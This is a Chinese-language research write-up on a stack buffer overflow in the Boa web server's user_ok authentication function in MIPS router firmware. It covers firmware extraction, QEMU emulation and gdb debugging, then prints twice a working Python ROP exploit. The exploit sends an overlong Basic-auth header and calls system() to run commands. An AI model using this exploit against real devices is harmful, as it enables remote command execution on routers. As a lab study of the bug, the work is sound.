1、漏洞描述
由相关信息得到漏洞点存在于/bin/boa
程序中的user_ok
函数,sprintf 的时候对v10造成了溢出 而v10的buf还特别小通过逆向可以知道这是个认证函数由user_name:user_password
组成的键值对形式和本地的文件进行认证,具体可自行查看/bin/boa
函数的逆向。
2、前期处理
(1)固件提取
binwalk -Me fw.bin
提取之前需要安装sasquatch(如果是用源码安装的话,应该没有这样的问题),不然会提取失败,squashfs-root文件夹为空。
(2)查看相关架构
find -name busybox
file ./squashfs-root/bin/busybox
该架构为mips架构,32位大端序。
(3)用户级模拟
把qemu-mips-static
文件复制到当前目录,以便于更好处理。
cp (which qemu-mips-static) .
把当前目录当做根目录,执行boa文件,发现有相关的报错,缺少相关的设备文件,使用mknod
进行创建。
sudo chroot . ./qemu-mips-static /bin/boa --help
创建文件解决报错后,并查看相关用法,可以看到,要传入两个文件,一个是boa path,另一个是conf path。boa启动命令一定是在配置文件或者开机项作为httpd服务启动,也就是说boa文件件会在其他文件中被使用,所以只需要grep搜索boa字符即可,这样就能够查找是相关文件中是如何使用boa文件的。
sudo mknod -m 666 ./dev/null c 1 3
grep -r 'boa ' .
,查看相应的字段,发现如下如下用法,sudo chroot . ./qemu-mips-static /bin/boa -p /web -f /etc/boa.conf
执行,发生报错“Can't create PID file!”
。
将boa文件放入到32位ida中,shift + F12 查看字符串 “Can't create PID file!”,对该字符串进行交叉引用,v14 = fopen(off_4590B0, "w");
该句决定着程序执行的成功还是识别,查看off_4590B0
,内容如下
.rodata:00415560 2F 76 61 72 2F 72 75 6E 2F 77+aVarRunWebsPid:.ascii "/var/run/webs.pid"<0>
发现是/var/run/webs.pid
无法创建,没有run
文件夹。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v5; // $s1
int v7; // $a0
int v8; // $v1
FILE *v9; // $v0
FILE *v10; // $s0
int v11; // $v0
FILE *v12; // $a0
__pid_t v13; // $v0
FILE *v14; // $s0
size_t v15; // $v0
int v16; // $s0
char v17[24]; // [sp+20h] [-20h] BYREF
__pid_t pid; // [sp+38h] [-8h] BYREF
umask(0x3Fu);
time(&current_time);
tzset();
v5 = open("/dev/null", 0);
if ( v5 == -1 )
log_error_mesg_fatal("boa.c", 228, "main", "can't open /dev/null");
if ( dup2(0, 50) == -1 )
log_error_mesg_fatal("boa.c", 232, "main", "can't dup2 /dev/null to STDIN_FILENO");
close(v5);
if ( argc >= 5 )
{
LABEL_13:
v7 = argc;
while ( 1 )
{
v8 = getopt(v7, (char *const *)argv, "h?p:f:");
if ( v8 == -1 )
break;
if ( v8 == 102 )
{
strcpy(boa_file_path, optarg);
read_config_files(optarg);
v7 = argc;
}
else
{
if ( v8 != 112 )
{
sub_403CB4(*argv);
goto LABEL_13;
}
sub_40496C(optarg);
v7 = argc;
}
}
init_signals();
v9 = fopen(off_4590B0, "r");
v10 = v9;
if ( v9 )
{
fgets(v17, 20, v9);
v11 = sscanf(v17, "%d", &pid);
v12 = v10;
if ( v11 )
{
if ( pid >= 2 )
kill(pid, 15);
v12 = v10;
}
fclose(v12);
}
v13 = getpid();
sprintf(v17, "%d\n", v13);
v14 = fopen(off_4590B0, "w");
if ( v14 )
{
v15 = strlen(v17);
fwrite(v17, v15, 1u, v14);
fclose(v14);
v16 = sub_4042E0();
build_needs_escape();
fprintf(stderr, "Starting Protocol Module: %-32s ... OK\n", "HTTP Server");
status = 0;
dword_459D18 = 0;
start_time = current_time;
loop(v16);
}
fprintf(stderr, "%s:%s:%d;Can't create PID file!\n", "boa.c", "main", 291);
return -1;
}
else
{
sub_403CB4(*argv);
return 0;
}
}
mkdir var/run
创建相关文件夹,创建完之后在试一下,又发生报错,意思是说相关端口已经被占用,而boa文件常用的端口是80,用sudo lsof -i :80
查找80端口的进程,并kill掉,之后重新运行,发现HTTP Server启动成功。
这个问题不是每个人都会遇到的,笔者第一次执行的时候就没有这样的问题。
运行成功之后,用wget发送一个poc验证一下,服务端出现get password error!问题,老样子,丢到ida中查看相关字符。
通过ida进行定位,查看两个函数,发现是打开"/tmp/passwd"
文件失败,直接将本机的文件复制过去,新建也是可以的,但为了防止格式问题,直接用本机的更为妥当,如果没用tmp
文件夹,直接创建即可。
int __fastcall user_auth(const char *a1)
{
int v2; // $a0
char *v3; // $v0
int v4; // $v0
char v6[64]; // [sp+20h] [-40h] BYREF
memset(v6, 0, sizeof(v6));
if ( get_password(64) >= 0 )
{
v2 = 1;
if ( byte_4596D0[0] != 58 )
{
v2 = 0;
if ( a1 )
{
if ( !strstr(a1, "Basic") )
return 0;
sub_41489C(a1 + 6, authout, 128);
v3 = strchr(authout, 58);
*v3 = 0;
v4 = user_ok(authout, v3 + 1);
v2 = 1;
if ( !v4 )
return 0;
}
}
}
else
{
fprintf(stderr, "%s:%s:%d;get password error!\n", "htauth.c", "user_auth", 181);
return 1;
}
return v2;
}
int __fastcall get_password(int a1)
{
FILE *v2; // $s1
int result; // $v0
int v4; // $s0
int v5; // $s2
int v6; // $s3
char v7[8]; // [sp+18h] [-8h] BYREF
memset(byte_4596D0, 0, sizeof(byte_4596D0));
v2 = fopen("/tmp/passwd", "r+");
result = -1;
if ( v2 )
{
v4 = 0;
v5 = 0;
v6 = 0;
while ( fread(v7, 1u, 1u, v2) )
{
if ( v4 >= a1 || v7[0] == 13 || v7[0] == 10 )
{
byte_4596D0[64 * v5 + v4++] = 0;
if ( !v6 )
{
++v5;
v4 = 0;
v6 = 1;
if ( v5 > 0 )
break;
}
}
else
{
byte_4596D0[64 * v5 + v4++] = v7[0];
v6 = 0;
}
}
fclose(v2);
return 0;
}
return result;
}
cp /etc/passwd ./tmp
,这里要注意一下,原本的tmp是对本机的软连接,先删除再创建
重新把poc打过去,发现服务端发生崩溃
下面这个是未崩溃的样子,以做对比
2、漏洞利用
(1)系统级模拟&gdbserver远程调试
简单的用户级模拟不能达到真实场景的需求,于是使用qemu的系统级模拟功能,模拟 32位的大端mips架构,mips表示大端,mipsel表示小端。
这边有一个自动化模拟的项目,省去了一些麻烦,有兴趣的可以试一试。
https://github.com/glkfc/AIOTS
下载相关内核(最好创建一个文件夹mips),这里的版本用vmlinux-3.2.0-4-4kc-malta最好,不然可能会导致gdbserver连接失败。
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2
本机创建网桥和接口,并将接口接到网桥上,以便于传输文件系统
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0
启动虚拟机,在内核文件的位置打开terminal,执行以下命令,密码(root:root)
在启动虚拟机命令不同的时候,其qemu模拟的设备也不同,可能会导致网卡eth1变为eth0等问题,如果遇到此类问题,可以考虑重新配置虚拟机。
sudo qemu-system-mips \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
配置虚拟机ip
ifconfig eth0 192.168.153.2/24 up
传输文件系统
此操作在本机上进行,而不是在qemu虚拟机中,传输前可以先打包再上传,这样可能会稳妥一些。
scp -r -O -oHostKeyAlgorithms=+ssh-rsa ./squashfs-root root@192.168.153.2:/root
加-O -oHostKeyAlgorithms=+ssh-rsa是为了防止一些版本问题
在虚拟机中挂载dev和proc
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
cd squashfs-root/
chroot . sh
去除地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space
相关操作截图
设置gdb调试模式,创建一个文件,在文件内部写入如下命令
set arch mips
set endian big
b *0x4146f4
target remote 192.168.153.2:4444
启动gdb调试,其中gdbserver-7.12-mips-be可以到github上找编译好的
gdb-multiarch ./bin/boa -p ./web/ -f ./etc/boa.conf -x inint #本机执行
gdb-static/gdbserver-7.12-mips-be :4444 /bin/boa -p /web -f /etc/boa.conf #虚拟机执行
这样就可以进行gdb的调试了
(2)漏洞分析
先给出poc
import socket
from pwn import *
import struct
import base64
libc = 0x77f2e000
libgcc = 0x77ee2000
gadget = 0x0000ABD0 + libgcc
system = 0x0002AC90 + libc
MAXSZ = 1024
cmd = b"FUCK" * 50 # see how long our cmd can be
#cmd = b"mkdir hack"
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
# fork 0x77f34d30
def exp():
#print(f"[+] gadget is {hex(gadget)}")
#print(f"[+] system is {hex(system)}")
payload = b'a:%s' %(b'A' * (0x4C - 2)) # padding + s0~s2
payload += p32(system) # s3 <- esp + 0x0c
payload += b'AAAA' # s4
payload += p32(gadget) # ra <- esp + 0x14
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += cmd # <- esp + 0x30
header = b'GET / HTTP/1.1\r\n'
# header += b'Host: 127.0.0.1:80\r\n'
header += b'Host: 192.168.153.2:80\r\n'
header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
header += b'User-Agent: Real UserAgent\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
iport = ("192.168.153.2" ,80)
s.connect(iport)
s.send(header)
msg = s.recv(MAXSZ)
#print("[+] Message is %s" %(msg))
print "[+]"
print msg
s.close()
if __name__ == '__main__':
exp()
给出一下示意图
为了构造ROP,在相关的链接库中寻找gadget,符合要求的如下
system函数执行命令的第一个参数是传递给a0的,所以找到的能够给a0赋值的gadget,并且最后能够调到system函数的地址中去。
0x0000ABD0 | addiu a0,sp,0x20+var_8 | jalr $s3
libgcc中的该语句符合条件,该语句会将sp中向下偏移sp+0x20-8=sp+0x18的值赋值给a0寄存器,所以只要在sp+0x28处放上cmd命令即可(注意mpis是多级指令流水线,也就是说语句会在return之后执行,即栈的恢复会在跳转之后执行,所以这里的sp是恢复过后的sp),执行完之后,程序会更s3寄存器中的地址进行跳转,所以s3中应该存放system的地址。
随后通过gdb远程调试确定能够执行的cmd命令的长度,在gdb连接成功之后按下c,程序会执行,从这里也可以看出,boa程序加载了libc、libgcc库,之后通过poc进行攻击,查看栈。
通过 x/64xw $sp 查看栈的情况,可以看出cmd的长度最多是17。
(3)漏洞利用
将poc的cmd命令改变一下,就变成了exp
import socket
from pwn import *
import struct
import base64
libc = 0x77f2e000
libgcc = 0x77ee2000
gadget = 0x0000ABD0 + libgcc
system = 0x0002AC90 + libc
MAXSZ = 1024
#cmd = b"FUCK" * 50 # see how long our cmd can be
cmd = b"mkdir hack"
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
# fork 0x77f34d30
def exp():
#print(f"[+] gadget is {hex(gadget)}")
#print(f"[+] system is {hex(system)}")
payload = b'a:%s' %(b'A' * (0x4C - 2)) # padding + s0~s2
payload += p32(system) # s3 <- esp + 0x0c
payload += b'AAAA' # s4
payload += p32(gadget) # ra <- esp + 0x14
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += cmd # <- esp + 0x30
header = b'GET / HTTP/1.1\r\n'
# header += b'Host: 127.0.0.1:80\r\n'
header += b'Host: 192.168.153.2:80\r\n'
header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
header += b'User-Agent: Real UserAgent\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
iport = ("192.168.153.2" ,80)
s.connect(iport)
s.send(header)
msg = s.recv(MAXSZ)
#print("[+] Message is %s" %(msg))
print "[+]"
print msg
s.close()
if __name__ == '__main__':
exp()
攻击效果如下
3、后记
根据https://tttang.com/archive/1672/#toc__3文章师傅的方法,通过四次
rop
可以达到getshell
的目的,该利用的最根本的要求是控制a0
的值,因为a0
的值是system
执行的参数,而a0
的值是通过sp
的指针的偏移来获取的,所以如何布局栈是关键,我们必须要让cmd
的命令尽可能的靠近sp
,即返回地址,从而扩大溢出范围(24+17=41)
。对于新手还是挺难的,但四次rop
的方法有个问题就是必须执行两次exp
,每一次的执行都需要使boa
的服务挂掉,在实际的过程中大概率会被发现。
下面是本文用到的一些小知识
(1)GDB如何查看一段内存
在使用GDB调试程序时,查看一段内存的内容是一项常用的操作,可以使用x
命令(代表examine)来查看内存中的内容。这个命令允许你以多种格式和单位查看内存。基本语法如下:
x /nfu 地址
n
是你想要查看的元素数量。f
是显示格式,例如x
表示十六进制,d
表示十进制,u
表示无符号十进制,t
表示二进制,a
表示地址,i
表示机器指令等。u
是单位大小,例如b
表示字节,h
表示半字(2字节),w
表示字(4字节),g
表示双字(8字节)。地址
是你想要查看的内存地址。
例如,如果你想以十六进制格式查看位于0x8049000
地址开始的32个字节,你可以使用以下命令:
x /32xb 0x8049000
这里,32xb
指“查看32个字节(byte),并以十六进制(x)格式显示”。
(2)gef调试使用方法
telescope
(显微镜)命令观察当前栈,或者pc位置的代码信息。x/20 $sp
查看栈的情况,长度为20telescope $sp -l 20
以更美观的方式查看
(3)jalr指令
MIPS架构中的jalr
指令同样是一种汇编指令,全称为"Jump And Link Register"。与jal
指令类似,jalr
指令也用于实现函数(或过程)的调用,但它提供了更为灵活的跳转方式。具体来说,jalr
指令的作用也有两个:
将当前程序计数器(PC)的地址(即当前指令的下一条指令的地址)保存到寄存器
$ra
(返回地址寄存器,寄存器号31)中,或者是指定的其他寄存器中。这样做是为了在函数(或过程)执行完后能够知道从哪里返回。跳转到由指定寄存器中保存的地址执行代码,而不是
jal
指令中直接指定的地址。这意味着跳转目标地址在执行前是可以通过程序计算和修改的。
jalr
指令增加了程序的灵活性,使得可以实现基于计算结果的动态函数调用,例如,通过函数指针的调用在C语言中。这种指令在实现虚函数、回调函数或是操作系统的调度功能时特别有用。
(3)jal命令
MIPS架构中的jal
命令是一种汇编指令,全称为"Jump And Link"。这条指令用于实现函数(或过程)的调用,如下:
将当前的程序计数器(PC)的地址(即当前指令的下一条指令的地址)保存到寄存器
$ra
(返回地址寄存器,寄存器号31)中。这样做是为了在函数(或过程)执行完后能够知道从哪里返回。跳转到指定的地址执行代码。这个地址是
jal
指令后面跟随的目标地址,即开始执行函数(或过程)的地址。
通过这种方式,jal
指令不仅实现了程序的跳转,还保存了返回点,以便函数执行完毕后能够返回到调用它的地方继续执行。这是实现高级语言中函数调用和返回的基础。
(5)如何调用system函数
在 MIPS 架构中,调用 system
函数(或其他 C 库函数)通常遵循 MIPS 的标准调用约定。这包括如何传递参数给函数。system
函数接受一个指向字符串的指针作为其参数,该字符串包含要执行的命令。根据 MIPS 的调用约定,函数的参数是通过寄存器传递的,具体到 system
函数,其参数(命令字符串的地址)会被放在 $a0
寄存器中。以下是调用 system
函数时参数传递的一般步骤:
准备命令字符串:首先,你需要准备好要执行的命令字符串。这可以通过将字符串存储在程序的数据段中来实现。
加载参数地址:使用
la
伪指令将命令字符串的地址加载到$a0
寄存器中。la
指令会解析为加载命令字符串地址的一系列指令。调用
system
函数:使用jal
指令跳转到system
函数的地址并保存返回地址在$ra
寄存器中。jal
指令导致程序的执行流跳转到system
函数,并在函数执行完毕后返回。
这里是一个简单的例子,演示了如何在 MIPS 程序中调用 system
函数来执行一个命令:
.data
command: .asciiz "ls" # 要执行的命令字符串
.text
.globl main
main:
la $a0, command # 将命令字符串的地址加载到 $a0
jal system # 调用 system 函数执行命令
# 函数返回后的处理
jr $ra # 返回到调用者
(6)mips架构的指令流水线
在 MIPS 架构中,jr
指令用于从指定寄存器跳转到一个地址。当执行到 jr
指令时,控制权会被传递到该寄存器指定的地址,通常是返回到函数调用的位置。但是,如果在 jr
指令后面紧跟着另一条指令,比如 addiu $sp, $sp, 0x78
,这条指令的执行与指令流水线的行为有关。
MIPS 使用一个分阶段的指令流水线,通常包含五个阶段:取指(IF)、译码(ID)、执行(EX)、访存(MEM)、回写(WB)。当 jr
指令在执行阶段(EX)确定跳转目标时,流水线中的下一条指令(在这种情况下是 addiu $sp, $sp, 0x78
)已经在取指(IF)阶段了。因此,即使 jr
指令触发了跳转,紧接着 jr
指令的 addiu
通常会被执行,这种现象称为“延迟槽”。
在 MIPS 架构中,延迟槽是一种硬件特性,旨在提高流水线的效率。编译器或程序员必须确保在延迟槽中放置一条有效的指令,或者如果不需要执行任何操作,则可以放置一个无操作(NOP)指令。
所以,如果 jr $ra
后面紧跟 addiu $sp, $sp, 0x78
,在大多数 MIPS 实现中,即便跳转发生,addiu
指令仍然会被执行。这通常用于优化代码,如在返回前调整堆栈指针,但需要仔细编写以避免逻辑错误。
(7)/bin/boa文件一般是用来干嘛的
/bin/boa
通常指的是Boa服务器的可执行文件。Boa是一种小巧、高效的Web服务器,专门设计用于嵌入式系统和轻量级应用。这意味着它主要用于那些资源有限的环境,比如路由器、智能家居设备以及一些老旧的服务器上,提供Web服务功能。由于其占用资源少,启动快速的特点,Boa适用于需要快速响应且不需要复杂Web应用支持的场合。
Boa服务器支持基本的Web服务功能,包括静态内容的服务、CGI(公共网关接口)脚本的执行等,但可能不支持某些高级功能,如SSL加密、复杂的身份验证机制等,这些功能在更为复杂和资源要求更高的Web服务器软件,如Apache、Nginx中较为常见。
在操作系统中,/bin
目录通常用于存放重要的可执行文件,这些文件对于系统用户和系统操作至关重要。因此,/bin/boa
位置表明Boa服务器是作为系统级应用安装的,可由系统中的任何用户运行。
总之,如果你在系统上看到/bin/boa
,这意味着该系统装有Boa Web服务器,可能用于提供轻量级的Web服务。